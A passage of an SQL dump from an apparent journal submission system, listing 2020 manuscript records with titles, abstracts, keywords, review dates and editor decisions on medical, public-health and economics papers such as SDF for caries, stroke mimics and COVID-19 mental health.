well-designed trial is needed to assess the effectiveness of SDF on PSN and compare the outcomes to conventional restorative treatments due to the current gap in literature research. \r\n','Caries, Dental Caries, Oral Health, Special Needs, SDF, Silver Diamine Fluoride, Cavities, Tooth Decay, Non-invasive, Disability, Dentistry, ',693,NULL,'2020-09-29',NULL,'Submitted',19,NULL,'2020-10-05',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(6264,7516,73,0,'ipjnn-20-6264','A new rare homozygous mutation in the POLR3A gene causes ataxo-spasmodic leukodystrophy',NULL,2,0,NULL,'Polymerase III (Pol III) related leukodystrophy is a rare class of leukodystrophy, recently recognized affecting the nervous system and other body systems with typical clinical presentation and imaging results. The diagnosis is made by characteristic combination of clinical signs, brain magnetic resonance imaging results and the presence of pathogenic biallelic mutations in specific genes: POLR3A, POLR3B, POLR3C  which encode the RNA polymerase III enzyme subunits.\r\nWe present the case of a 32-year-old young man who presented with spastic ataxia due to a new rare mutation in the POLR3A gene, splicing variant c.3892-5C> T.','POLR3A-related leukodystrophy, ataxo-spasmodic hypomyelinating leukodystrophy, genetics, new mutation variant c.3892-5C> T.',4028,NULL,'2020-09-29',NULL,'Submitted',4,NULL,'2021-02-04',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6273,7526,667,0,'iptb-20-6273','A REVIEW ON BIOMARKERS: AS A POTENTIAL DIAGNOSTIC TOOL',NULL,15,0,NULL,'Biomarker is a biochemical feature which is used to measure the progress of a disease or effects of treatment. They can be introduced into an organism to examine organ function or any other aspects of health. Biomarkers provide a dynamic and powerful approach for understanding observational and analytical epidemiology, randomized clinical trial, screening, diagnosis and prognosis. Biomarkers can reflect the entire spectrum of diseases from earliest manifestation to terminal state. This review describes about major uses of biomarkers in clinical investigations. Careful assessment of validity of biomarker is required with respect to stage of disease. Various issues that affect the analysis of biomarkers are discussed.','Antecedent biomarker, Diagnostic biomarker, Cancer biomarker, Cardiac biomarker, Variability, Validity, Reliability',3933,NULL,'2020-09-30',NULL,'Submitted',4,NULL,'2020-12-07',NULL,1,1,'0','Accept the article.',0,NULL,NULL,NULL,0,0,0,NULL,0),(6274,7527,667,0,'iptb-20-6274','C2AZ as treatment adjunct',NULL,15,0,NULL,'This paper is a technical note showing how the established pharmacodynamic actions of four non-oncology drugs happen to inhibit several established pathophysiological mechanisms active in driving or facilitating breast cancers’ growth. The resulting four repurposed drug regimen, C2AZ, uses the analgesic drug celecoxib; the antifungal drug clotrimazole; a drug used to treat rheumatoid arthritis, auranofin; and a drug used to treat asthma, zileuton. All four have a large database showing that they inhibit one or more growth driving pathways of breast cancer. The four drugs of C2AZ have been well tolerated in general medical practice and no drug-drug interaction is predictable. All four are old, cheap, generic drugs. They are predicted to be growth retarding rather than directly cytotoxic so C2AZ would best be studied in an adjunctive role.','auranofin; breast cancer;  celecoxib; clotrimazole; Nrf2; zileuton',3933,NULL,'2020-09-30',NULL,'Submitted',2,NULL,'2020-10-30',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(6279,7515,73,0,'ipjnn-20-6279','A new rare homozygous mutation in the POLR3A gene causes ataxo - spasmodic leukodystrophy.',NULL,2,2,NULL,'Polymerase III (Pol III) related leukodystrophy is a rare class of leukodystrophy, recently recognized affecting the nervous system and other body systems with typical clinical presentation and imaging results.\\r\\n\\r\\nThe diagnosis is made by characteristic combination of clinical signs, brain magnetic resonance imaging results and the presence of pathogenic biallelic mutations in specific genes: POLR3A, POLR3B, POLR3C which encode the RNA polymerase III enzyme subunits.\\r\\n\\r\\nWe present the case of a 32-year-old young man who presented with spastic ataxia due to a new rare mutation in the POLR3A gene, splicing variant c.3892-5C> T.','POLR3A-related leukodystrophy, ataxo-spasmodic hypomyelinating leukodystrophy, genetics, new mutation variant c.3892-5C> T.',326,NULL,'2020-09-30',NULL,'Submitted',19,NULL,'2020-10-15',NULL,1,1,'0',NULL,1,'','',NULL,0,4,0,NULL,0),(6282,5004,86,0,'ipaom-20-6282','Redefining medical practice office infection prevention and control during the COVID-19 outbreak',NULL,15,0,NULL,'Novel Coronavirus disease (COVID-19) is a recently discovered infectious disease caused by severe acute respiratory syndrome (SARS)–coronavirus (CoV)-2 virus. The disease was identified in 2019 in Wuhan, China, and has since spread globally, resulting in the 2020 coronavirus pandemic. The infection spreads via droplets produced during coughing and sneezing.\r\nWhile social distancing will help minimize the spread of COVID-19 infection, this practice is difficult for patients seeking medical treatment. Unfortunately, there is no easy alternative. While many people may be able to postpone daily routine appointments to avoid contacting infection, sick patient with urgent medical appointments cannot. Strategies to prepare the medical practice offices for this pandemic to optimize patient care and to lower the risk of viral transmission to healthcare workers and other patients in the clinical office should be prioritized. Herein, we present the perspective of a group of physicians who felt the need for urgent response measures to develop infection control guidance for the medical practice office.','Coronavirus, Covid-19,Respiratory infection',3386,NULL,'2020-09-30',NULL,'Submitted',2,NULL,'2020-10-26',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(6292,7537,981,0,NULL,'Safety issues with dental materials and its toxicological aspects- an overlooked archetype',NULL,17,0,NULL,'Dental materials are categorized as class 2 medical devices associated with moderate risk according to US Food and Drug Administration (US FDA). The aim of dental pharmacology is to understand the scientific aspects of how drugs and dental materials work within body systems. The different materials used in dentistry have their own beneficial as well as adverse effects. It could be associated with mild, moderate or severe adverse events that should be reported as per regulatory requirement and materiovigilance. In order to  prevent or overcome  the toxic effects of these materials or drugs used in dentistry we need to focus more on “Biological dentistry” where in  the well-being of the mouth is considered as  an integral part of the health of the whole person. The purpose of this brief review is to focus on different toxicological effects and other safety issues of dental materials that are used intraorally. It would also give a brief idea about how to prevent these toxicological effects.','Dental materials; \r\nBiological dentistry; \r\nMateriovigilance; \r\nPeriimplantitis;\r\nMedical Device',4037,NULL,'2020-10-01',NULL,'Submitted',4,NULL,'2020-10-06',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6305,7547,45,0,'iphsj-20-6305','Sex and Gender Differences for Severity and Mortality from COVID-19: Rapid Evidence Synthesis for the Implication of Health Equity in Access Policies',NULL,7,2,NULL,'To really answer questions who will get worse from COVID-19 and the reasons why, researchers need robust data disaggregated by age, sex, race and socio-economic background. But, how the government of different countries in the world responded for COVID-19 so far was   with paramount limitations. Supporting gender analysis and sex- disaggregated data are an integral part of a strong COVID-19 response. Gender blinded decisions and policies are not only worse, they are ineffective and usually fail.  Severity and mortality of individuals from COVID-19 are attributable to sex and gender differences.  However, many countries in the world still lack storing their sex-disaggregated data on their respective data sources.  Therefore, all countries need to start storing their data independently by sex, age and even race.  National policies and intervention guidelines for COID-19 pandemic are better if prepared based on sex-centered approach. International researchers from different disciplines like, immunology are requested to intensively investigate for sex and gender specific factors. ','COVID-19, Sex, Gender, severity, mortality  ',643,NULL,'2020-10-03',NULL,'Submitted',19,NULL,'2020-11-12',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(6316,7562,73,0,'ipjnn-20-6316','Neurological and Molecular Basis of Diabetic Neuropathy',NULL,14,0,NULL,'Aims: the aim of the research is to look to the neurological and molecular mechanism of diabetic neuropathy and also suggesting a better way of management.\r\nMethods: Critical reviews of the relationship between hyperglycemia in diabetes with polyol pathway, hexose monophosphate shunt and de novo synthesis of sphingolipids and how this relationship could be involved in diabetic neuropathy.\r\nResults: The research gave rise to some factor causing diabetic neuropathy such as osmotic stress, oxidative stress , dymelination and are gotten from the method above.\r\nConclusion: This research pointed out decrease NADPH available for de novo synthesis of sphingomyelin as result of increase consumption by polyol pathway and decrease production by hexose monophosphate shunt as the main factor responsible for diabetic neuropathy','Diabetic neuropathy, Reduced Nicotinamide Adenine Dinucleotide Phosphate (NADPH), Demyelination, Osmotic stress, Oxidative stress, Polyol pathway, Hexose monophosphate shunt, De Novo synthesis\r\n',347,NULL,'2020-10-05',NULL,'Submitted',4,NULL,'2021-03-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6318,7515,73,0,'ipjnn-20-6318','Intracranial hypertension: Think about leptomeningeal melanocytosis',NULL,2,2,NULL,'Leptomeningeal melanocytosis is a rare primary melanocytic lesion of the central nervous system. It is considered a severe condition with poor prognosis.\r\nIt is characterized by diffuse melanocytic infiltration of the leptomeninges. Seen almost exclusively in children with large congenital nevi and together the findings form a dermatologic syndrome known as neurocutaneous melanosis (NCM). \r\nWe report a rare and atypical case of a 45-year-old adulte male, with no evident congenital melanocytic lesions who presented visual manifestations without other clinical signs of intracranial hypertension, and was found to have leptomeningeal melanocytosis with fatal evolution.','Leptomeningeal melanocytosis, intracranial hypertension, meningeal biopsy, chemotherapy',4043,NULL,'2020-10-05',NULL,'Submitted',19,NULL,'2020-10-22',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(6328,7573,667,0,'iptb-20-6328','The Use of Essential Oils in Prolonging Postharvest Life of Fresh Fruits and Vegetables ',NULL,19,0,NULL,'For chronic disease prevention a body needs 400g of fruits and vegetable daily. Fruits and vegetable contain vitamins, minerals and other essential micro nutrients which are essential for human.  Plants have high amount of essential oils. Malaleuca alternifolia comprises great extent of cyclic monoterpenes which about half oxygenated and other are hydrocarbon. Malaleuca alternifolia are wide range anti-microbial movement and also help in medication. Mustard essential oil could be utilized to control the nourishment sustenance waste and food born pathogenic microscopic organism also help in medicine as well. Black pepper is broadly utilizing and also the most famous seasoning flavor on this planet. For the nourishment black pepper separate the unpredictable oil and alkaloid mixes for the sharpness. Soybean oil is the most mainstream vegetable oil after the palm oil which contain anti carcinogenic, antiviral and antibacterial agents. Essential oils of plant play a vital role in allotropy also help in adaptation of abiotic stresses and also restrain E.coli. ','Essential Oils, Soybean Oil, Mustard Oil, Abiotic component ',3646,NULL,'2020-10-06',NULL,'Submitted',4,NULL,'2020-11-12',NULL,1,1,'0','Accept the article.',0,'','',NULL,0,0,0,NULL,0),(6340,7586,91,0,NULL,'Nonlinear Relationships between macroeconomic indicators shocks and Inflation rate in Sudan Economy 1970-2019: Evidence Combination between NARDL Model, SVAR ',NULL,3,0,NULL,'This paper integrates the NARDL model and SVAR approach to analyze the long-run and short-run asymmetric effect, Nonlinear Relationships of macroeconomic indicators shocks on Inflation rate in Sudan Economy. We reveal that the demand-side shocks of oil price have a significant impact on the Chinese stock market in both short and long run, but the supply shock is an exception. In terms of asymmetric nature, there is no evidence of asymmetric impact when it refers to the supply shock and the oil-specific demand shock on stock market, and only the aggregate demand shock has asymmetric effect in short run. NARDL model results confirm the presence of long run equilibrium relationship between inflation rate and macroeconomic indicators shocks. Our findings tend to suggest that the long run relationship is asymmetric, while evidence is in support of asymmetrical short- run trade-off between the variables. Also, SVAR approach the impulse response functions showed response of money supply, GDP to inflation rate is significant, indicating stable relationship. However, both MS, GDP and (EX) seem to exert a strong negative short run impact on inflation rate levels from period 1 to period 9 and they both peaked around peirod 10, which implies macroeconomic indicators shocks increases inflation rate in the short run in Sudan economy. The results provide statistically, economics supported evidence that can guide policy makers regarding action priorities and identify other opportunities to facilitate reducing the Impact of the macroeconomic indicators shocks on inflation rate in Sudan. It would be worth redoing the analysis to examine how macroeconomic indicators shocks affects Sudan’s Inflation rate.','Macroeconomic indicators shocks, Inflation rate, NARDL Model, SVAR approach, Sudan Economy',4055,NULL,'2020-10-07',NULL,'Submitted',4,NULL,'2020-10-10',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6346,7594,86,0,'ipaom-20-6346','The Impact of COVID-19 on the Health Team Working in the Intensive Care Unit: A Systematic Review',NULL,15,0,NULL,'Introduction: The level of stress is increasing in the frontline team, which includes Intensive Care Unit (ICU). In this circumstance, it is noted that the health team is guided by physical and emotional resistance to face life and death situations. It is known that at least 50% of doctors fight burnout or emotional exhaustion.Thus, it is inferred that the healthcare team in the ICU environment brings with themselves scars and marks of personal battles that are fought daily between themselves and the exercise of their work. \r\nObjective: To understand the impact that COVID-19 is having on the frontline medical team in the ICU environment, as well as to reveal which proposals are being made to alleviate the harm that this group experiences.\r\nMethod: A systematic review was carried out following the PRISMA protocol (Preferred Reporting Items for Systematic Reviews and Meta-Analysis). The review was directed to answer the study question, constructed by the acronym PICO as follows: P - Health Team, I - ICU, C - Impacts of COVID-19 and O - Mental Health.To search for studies, the following databases were used: Pubmed and Medline. After a previous analysis in the databases and consulting other studies that referred to the subject, it was possible to identify the following MeSH and DeCS descriptors: Patient Care Team, Psychosocial Impact, Health Impact Assessment, Coronavirus Infections / COVID-19, Intensive Care Units / CTI, Stress Disorders, Post-Traumatic. In order to make the search safer and make reproducibility greater, it was decided to asoociate all descriptors using the AND and OR boolean operators.\r\nResults: In all, 573 evidences were found. With the subsequent application of the inclusion and exclusion criteria, 31 studies were included for qualitative foundations.\r\nConclusion: During the COVID-19 pandemic period, the structure of ICU activities changed rapidly. The medical team of this environment is the first to suffer the consequences that this disease promotes. The disproportion between the need for technological supplies in intensive care and their scarcity, promotes, among many factors, psychological stress. Anxiety, irritability, insomnia, fear and anguish are some sensations experienced by this audience. In this sense, promoting actions with the purpose of mitigating such psychic-organic impacts is essential.\r\n','COVID-19; Intensive Care Center; Health Teams.',2890,NULL,'2020-10-08',NULL,'Submitted',2,NULL,'2020-12-03',NULL,1,1,'0','Dear Authors, \r\nI am glad to announce you that Paper No ipaom-20-6346 is accepted for publication.\r\nBest Regards, \r\nThe editor',0,'','',NULL,0,0,0,NULL,0),(6347,7595,86,0,'ipaom-20-6347','AN OPEN-AIR NIGHTMARE: THE CURRENT CONCERNS ABOUT LEBANESE PEOPLE AND THEIR MENTAL HEALTH',NULL,13,0,NULL,'Background: The Lebanon is passing through a pileup of several crisis, among political instability, economic chaos and sanitary calamity. Recently, COVID-19 outbreak has worsened the situation, putting itself as a major thread to the fragile health care of the country, but what worries most was a recent disaster occurred in the sunny Tuesday of August 4 2020, the worst day of many lives, when a massive explosion in Beirut´s port happened.\\\\\\\\r\\\\\\\\nMethod: Studies were identified using large-circulation international journals found in two electronic databases: Scopus and Embase.\\\\\\\\r\\\\\\\\nResults: In the midst of political instabilities, authorities in Lebanon believe the explosion was triggered after a fire in a warehouse reached another facility that stored around 2,750 tons of ammonium nitrate, a fertilizer that can be dangerously volatile in contact with fire. More than six years before the blast, a cargo ship bringing the ammonium nitrate made an unscheduled stop in Beirut and the material had been confiscated, since then, the Lebanese officials wrote letters to the courts from 2014 to 2017, on the purpose to safely remove the material from the port, but the judiciary never responded the letters. This tragic episode of negligence and mismanagement of the ruling class in Lebanon intensified the anger and despair against the government, now being blamed on the incident already marked as ‘’Lebanon´s Chernobyl’’.\\\\\\\\r\\\\\\\\nConclusions: Since stress-related mental health disorders are mainly associated with large-scale human disasters, the emotional trauma of this disaster for itself may certainly causes massive mental disorders, marking a great wound in the country´s history, spreading frustration, sadness, and mourning. However, the rise in violent behavior due to fury against the political groups also tends to be a great threat to mental health in Lebanon.\\\\\\\\r\\\\\\\\n','Mental Health; Human Disasters; Emotional Trauma; Lebanon.',2890,NULL,'2020-10-08',NULL,'Submitted',4,NULL,'2020-12-16',NULL,1,1,'0','Send for revision',0,'','',NULL,0,0,0,NULL,0),(6348,7596,86,0,'ipaom-20-6348','REFUGEE HEALTH AND COVID-19 RESPONSE: HOW ARE COUNTRIES AROUND THE WORLD DEALING WITH  FORCIBLY DISPLACED PEOPLE IN THE PANDEMIC TIME?',NULL,15,0,NULL,'OBJECTIVE: Analyze the current response against the COVID-19 concerned about forcibly displaced people around the world.\\\\r\\\\n\\\\r\\\\nMETHODS: Two electronic databases (MEDLINE PubMed and Google Scholar) were searched from July 2020 to December 2019. MeSH (Medical Suject Heading) terms were considered, resulting in the search strategy: ´´Refugees OR Displaced Persons OR Asylum Seekers OR Internally Displaced Persons OR Political Asylum Seekers OR Political Refugees AND COVID-19 OR 2019 Novel Coronavirus Disease OR COVID-19 Pandemic OR SARS-CoV-2 Infection OR COVID-19 Virus Disease OR 2019 Novel Coronavirus Infection OR 2019-nCoV infection OR Coronavirus Disease 2019 OR Coronavirus Disease-19 OR 2019-nCoV Disease OR COVID-19 Virus Infection´´. \\\\r\\\\n\\\\r\\\\nRESULTS: AThe findings highlighted the overcrowded conditions of the majority of the refugee camps, the poor sanitary conditions, in scarce of clean running water and soap, the fragile health systems and the often poor access to medical assistance, medicines and health provisions. Moreover, the discrimination, xenophobia, and racism suffered for refugees in host countries and the common misinformation and lack of access to awareness and knowledge of quality.\\\\r\\\\n\\\\r\\\\nCONCLUSION: It´s clear that no one can be left behind in this unprecedented crisis, since COVID-19 will not spare no one, especially the forcibly displaced people who have increased risk in front of the novel coronavirus and are already passing through too much. For such that, refugee situation must be one of the majors concern to only to the host countries, but to every country around the world. As demonstrated, some has been done, however the efforts must be increased in a collective effort for every person concerned about those who are suffering in the current humanity.\\\\r\\\\n','Refugee; COVID-19; Treatment; Prevention; Refugee Communities.',3799,NULL,'2020-10-08',NULL,'Submitted',4,NULL,'2020-12-16',NULL,1,1,'0','Send for revision',0,'','',NULL,0,0,0,NULL,0),(6349,7597,86,0,'ipaom-20-6349','ANXIETY, DEPRESSION, AND OTHER MENTAL DISORDERS IN PREGNANT WOMEN LIVING IN EXPOSURE TO COVID-19.',NULL,9,0,NULL,'Background: The current COVID-19 pandemic puts itself as a threat to maternal mental health, since conditions of severe stress, often inflates the occurrence of mental diseases among the pregnant population. \r\nSome studies have already reported the rising of distress and psychiatric disorders among pregnant women during the COVID-19\r\nMethod: Studies were identified using large-circulation international journals found in two electronic databases: Scopus and Embase.\r\nResults: Depression and anxiety in the gestational period, may change perinatal decisions. Furthermore, it is important to emphasize that pregnant women around the world are not suffering equally. As in every situation, the most fragile always tend to suffer more, it was already a concern before the pandemic, due to the higher rates of mental disorders during the gravidity in developing countries compared to the developed ones.\r\nConclusions: The lack of social support providing the main needs of the pregnant population may increase the incidence of anxiety, depression, and other mental disorders.\r\n','Pregnant Population; COVID-19; Mental Disorders.',3799,NULL,'2020-10-08',NULL,'Submitted',2,NULL,'2020-12-03',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6350,7598,73,0,'ipjnn-20-6350','Retreatment in recurrences of high grade gliomas: feasibility of re-irradiation and concomitant chemotherapy',NULL,14,0,NULL,'ABSTRACT\r\nPurpose\r\nTreatment approaches for high grade gliomas recurrences include second surgery, re-irradiation, systemic therapies and\r\nsupportive cares. We retrospectively investigated the feasibility of a second irradiation with or without chemotherapy\r\nfor patients with recurrence of high grade glioma\r\nMethods and Materials\r\nThirty patients with recurrence of high-grade gliomas received a median re-irradiation dose of 36 Gy (34 – 41.1 Gy)\r\nwith conventional fractionation (1.8 – 2 Gy/die) at our institution. Median age at the recurrence was 53 years (range 21-\r\n75 years). Twelve patients received chemotherapy (Temozolomide) as concomitant and adjuvant treatment, 8 patients\r\nreceived re-irradiation followed by adjuvant chemotherapy (Fotemustine), 10 patients received re-irradiation alone.\r\nOverall survival was calculated with Kaplan-Meier method. Neurocognitive evaluation (Minimental test and quality of\r\nlife evaluation) was carried out with psycho-oncologist and patients underwent a neurocognitive rehabilitation therapy\r\nResults\r\nMean time between radiation therapies was 36 months (6-176 months). All patients carried out re-irradiation, with no\r\ncases of Grade ≥3 toxicity. At a follow up of 15 months, overall survival was 8 months (1-95 months). The group\r\ntreated with concomitant chemoradiotherapy shows a better overall survival compared with the group treated with only\r\nre-irradiation (16 vs. 7 months); 1 year-OS was 57.1% vs 35.7% and 2 years-OS was 47.6% vs. 26.8%. From\r\nneurocognitive evaluation we report a good feasibility of re-irradiation, with good compliance to neurocognitive\r\nrehabilitation therapy\r\nConclusions\r\nIn our experience, re-irradiation associated with chemotherapy (Temozolomide) for recurrent high grade gliomas\r\nrepresents a good treatment option, with better OS. Patients selection is important to identify those patients who benefit\r\nfrom this approach','high grade gliomas, re-irradiation, chemotherapy, radiotherapy, quality of life, neurocognitive evaluation',352,NULL,'2020-10-08',NULL,'Submitted',2,NULL,'2020-12-30',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(6351,7599,251,0,'ipacm-20-6351','A relationship between sleep cycle and immunity against COVID-19 infection',NULL,15,0,NULL,'The outbreak of coronavirus in 2019 has devastated the world and led to a global pandemic. The infectious disease COVID-19 which is caused by severe acute respiratory syndrome coronavirus- 2 (SARS CoV-2) emerged from a zoonotic reservoir. The data suggest that the recent outbreak has similar genetic emergence to those of SARS and MERS. The patients are assisted with major breathing problems and the rapid transmission results in the apocalypse for humans. To arrest the viral infection, immunity is the preliminary key of the individual for defending against the pathogen. The production of T cells plays a crucial role in the immune system response to the virus. Therefore, sleep and the circadian system strives for an impact on immune functions. It has further reinforced the major and specific role of sleep that takes part in boosting the immune system. In this review, we provide an emphasis on pathogenicity, adaptive immunity in the terms of enhancing the system and also the role of the sleep cycle in context to the COVID-19 infection.','COVID-19, Immunity, Cytokines, Sleep cycle.',3946,NULL,'2020-10-08',NULL,'Submitted',2,NULL,'2021-01-09',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(6358,7606,45,0,'iphsj-20-6358','Anemia among Children living with HIV/AIDS on HAART in Mekelle general Hospital, Northern Ethiopia – a cross-sectional study',NULL,14,0,'','ABSTRACT\r\nBackground: Anemia is a common complication of pediatric HIV infection, facilitating HIV disease progression, and decreasing survival. In Ethiopia, there is a limited evidence on the prevalence of anemia among HIV positive children.\r\nObjective: To determine the prevalence of anemia in HIV infected children on HAART aged 6 months to 14 years in Mekelle Hospital antiretroviral treatment (ART) clinic, Tigray region, Northern Ethiopia, from October- April 2018.\r\nMethods: An institution-based cross-sectional study was conducted on 241 HIV infected children attending Mekelle Hospital ART clinic from October to December 2018. Data on socio-demographic were collected using a structured pretested questionnaire. Hemoglobin values were determined by cell sysmex xp-100 machine. To define anemia, WHO Cut off values of hemoglobin were utilized after adjusting the values for to altitude of the study area. \r\nResults: Among 241 participants, 16 (7%) were anemic in this study. Of the anemic children, 56%, 19%, and 25 % had mild, moderate, and severe anemia, respectively. Nearly half of 47.7% (7/16) of the anemic children had normocytic-normochromic anemia type followed by macrocytic-normochromic anemia, 38.6 % (93/241). CONCLUSTION: In this study, the prevalence of anemia among participants was found to be 7% and 25 % of them had severe anemia. \r\nKeywords: Anemia, Children, HIV, Hemoglobin, HAART, Mekelle general Hospital, Ethiopia \r\n','Anemia, Children, HIV, Hemoglobin, HAART, , Ethiopia ',3691,NULL,'2020-10-09',NULL,'Submitted',14,NULL,'2020-11-12',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(6368,7618,73,0,'ipjnn-20-6368','Potential role of MRI in reducing the cost burden of stroke mimic patients ',NULL,14,0,'','Title-Potential role of MRI in reducing the cost burden of stroke mimic patients \r\n\r\nBackground- Diagnostic uncertainty can result in admission and unnecessary treatment of stroke mimics (SMs) leading to substantial unnecessary expenditure and limiting existing resources. We investigated the costs of admitting SMs compared to the cost of MR imaging in the acute setting.\r\nMethods-In this retrospective cross-sectional study, we analysed all suspected stroke admissions from January 2016 until July 2018. We evaluated the costs of admission of SMs to the stroke unit and compared it with the cost assumption of having performed MR instead of CT imaging in all patients who presented with stroke symptoms.\r\nFindings-A total of 1745 patients presenting with stroke symptoms were included.  1108 (63%) were diagnosed as ischemic strokes, 321 (18%) with intracranial haemorrhage and 316 (18%) were SMs. The calculated cost of the initial neuroimaging studies for all patients was A$631,291. The cost of performing MRI for these patients would have been A$657,167. Accordingly; the excess cost of performing MRI instead of CT scan in the acute setting would have been A$25,876.00. This is significantly lower than the costs of stroke admission of SMs (A$1,255,373).\r\nConclusion-Unnecessary admission and stroke investigations for SM patients can impose huge expenses on health care system. Owing to the fact that MRI is highly sensitive and specific in diagnosis of acute stroke, utilizing it as the first imaging modality in diagnosis of acute stroke would reduce the cost of SM admissions.\r\n','Stroke\r\nStroke mimic\r\nMRI brain',338,NULL,'2020-10-11',NULL,'Submitted',2,NULL,'2021-02-04',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(6375,7618,73,0,'ipjnn-20-6375','Challenges in diagnosis of ischaemic stroke: A descriptive study of stroke mimics and missed strokes',NULL,14,0,NULL,'Titile: Challenges in diagnosis of ischaemic stroke: A descriptive study of stroke mimics and missed strokes\r\n\r\nBackground: Despite technologic advances, stroke remains a difficult clinical diagnosis. We aimed to investigate the rate and characteristics of stroke mimics (SM) and missed strokes (MS). \r\nMethods: We used data of consecutive “suspected stroke” admissions in a tertiary academic Hospital from January 2016 to July 2018. Diagnosis of SM was based on the absence of an ischaemic infarct on neuroimaging plus the presence an alternate discharge diagnosis. MS were defined as any patient with a discharge diagnosis of stroke whose stroke-like symptoms were missed in the Emergency Department (ED).\r\n \r\nFindings: Of 1745 patients reviewed, 63% were ischaemic stroke, 18% Intra-Cranial Haemorrhage (ICH), and 18% SM. We detected 95 MS. Stroke risk factors were significantly less common among SM and MS compared to stroke patients. Younger age, female gender, dizziness, ataxia, absence of limb weakness, and absence of certain vascular risk factors were predictors of SM. For MS, the predicting factors were young age (<55), confusion at presentation, hypercholesterolemia, and absence of hypertension.  \r\n\r\nConclusion: Atypical presenting symptoms can cause over and under-diagnosis of stroke. MS and SM are similar in many aspects. These diagnostic errors occur more often in younger patients with less severe neurological symptoms and symptoms attributable to posterior circulation.','Stroke; stroke mimic; missed stroke; diagnostic errors',338,NULL,'2020-10-12',NULL,'Submitted',2,NULL,'2021-03-02',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(6379,7632,45,0,'iphsj-20-6379','Investigation of traditional Palestinian medicinal plant; inula viscosa, chamomile and parsely against Escherichia coli population on agar plates by using true experimental study',NULL,14,3,'','Background:\r\nAbout 70-95% of UTI cases caused by E.Coli and widely use of antibiotics made many problems like, increased antibiotic resistant strains of UPEC, so need to herbal medicine was increased. Due to folklore medicine in Palestine, women used to use crudes of  Dittrichiaviscose, Petroselinum crispumand and  Anthemisnobilis as vaginal wash to treat UTI at home, with no scientific evidence. Therefore, this study aims to investigate whether herbs that had been used in traditional medicine for treating UTI that caused by E.coli are effective.\r\n \r\nMethodology:\r\nA true experimental study design, was conducted on 24 agar plates that had been cultured by E.coli urine samples from female patients from hospital Labs to test the effectiveness of watery crudes for three types of herbs which are: inula viscosa, parsley and chamomile, that had been used in traditional medicine by Palestinian women as vaginal wash to treat urinary tract infection. This study design had taken in consideration items of true experimental design. First, manipulation by adding three watery crudes of the plants to each agar plate that had been cultured with urine samples infected with UTI from female patients. Second, control was conducted by doing sensitivity test of E.coli to antibiotics. Finally, randomization; by using simple random method for allocating 24 agar plate (diagnosed with urinary tract infection) and have positive e-coli culture from female patients.\r\n \r\nResults and conclusion:\r\nThe study findings showed that none of the three traditional herbal plants; chamomile, parsley and inula viscosa, that had been used traditionally was effective on E.coli colonization that had been cultured on agar plates. Therefore, midwives and nurses have to advice women to stop this practice based on this evidence and to integrate the using of herbal into health education program.\r\n','UTI, Tradition Plant, midwifery, E.coli, chamomile, parsley, inula viscosa, nurses',643,NULL,'2020-10-12',NULL,'Submitted',18,NULL,'2020-10-28',NULL,1,1,'0','Accepted',0,'1052','vineetha_m@euroscicon.co.in',NULL,0,0,0,NULL,0),(6389,7643,277,0,'ipadm-20-6389','OSTEONECROSIS MANDIBULAR: UNA COMPLICACIÓN INUSUAL  POR  HERPES VIRUS ZOSTER.',NULL,2,1,'Osteonecrosis por V H Zoster','La osteonecrosis de los maxilares puede conducir a una pérdida significativa de tejido óseo, pérdida de dientes y desarmonización facial. La infección por herpes zoster (HZI) es una enfermedad viral con erupciones cutáneas y ampollas dolorosas en un área limitada en un lado del cuerpo. La osteonecrosis en asociación con HZI del nervio mandibular es un fenómeno raro. En este informe, se presenta un caso de infección por herpes zoster con complicación oral inusual que involucra la división mandibular del nervio trigémino tratado con cirugía convencional y terapia con láser de Erbium de 2780 nm.','Herpes zoster, Laser Er CR:YSGG, osteonecrosis mandibular, implantes dentales ',4067,NULL,'2020-10-13',NULL,'Submitted',2,NULL,'2020-11-23',NULL,1,1,'0','Un caso clínico se ha presentado bien con la imagen. Recomiendo este manuscrito para su publicación\r\n',0,'','',NULL,0,0,0,NULL,0),(6390,7644,667,0,'iptb-20-6390','Gait Maturation in Healthy Children- a Multifractal Approach',NULL,14,0,'','This paper studies the gait maturation in children through a multifractal approach. The inter stride interval of three group of children 3-4 years, 6-7 years and 11-14 years (Hausdorff et al. Journal of Applied Physiology, vol. 86, no. 3, pp. 1040–1047(1999)) were studied by MFDFA methodology and were compared to those of adults. It was found that the gait pattern exhibited multifractal features for all the sets. It was found to be more complex in children of 3-4 years. The results of 11-14 year old children were comparable with those of the adult indicating that they reach gait maturation by that age. It was also observed that the gait pattern of adults were sensitive to level of detrending however for the children same results were obtained for different levels of detrending. The gait pattern of children of 3-4 years of age were least correlated and degree of correlation was found to increase with age. However the degree of correlation of 11-14 years child was found to be more than that of adults. But due to low statistics the confidence level was not very high. It would be interesting to verify this result for a larger sample size.','Gait maturation, multifractal analysis, degree of multifractality, degree of correlation',3933,NULL,'2020-10-13',NULL,'Submitted',4,NULL,'2020-11-23',NULL,1,1,'0','Accept ',0,'','',NULL,0,0,0,NULL,0),(6401,7656,639,0,NULL,'fishereis',NULL,2,0,'','fisheries','',1777,NULL,'2020-10-15',NULL,'Submitted',4,NULL,'2020-10-15',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6408,7667,86,0,'ipaom-20-6408','Investigation the effect of Serum Rich in Growth Factors on proliferation, growth and expression of genes involved in cell longevity by Mesenchymal Stem Cells',NULL,14,0,'','Background \r\nThe limited lifespan of Mesenchymal Stem Cells (MSCs) has highly restricted their application. The Serum Rich in Growth Factors (SRGF) contains growth factors that are involved in processes of the growth and proliferation of MSCs. The present study was aimed to examine the 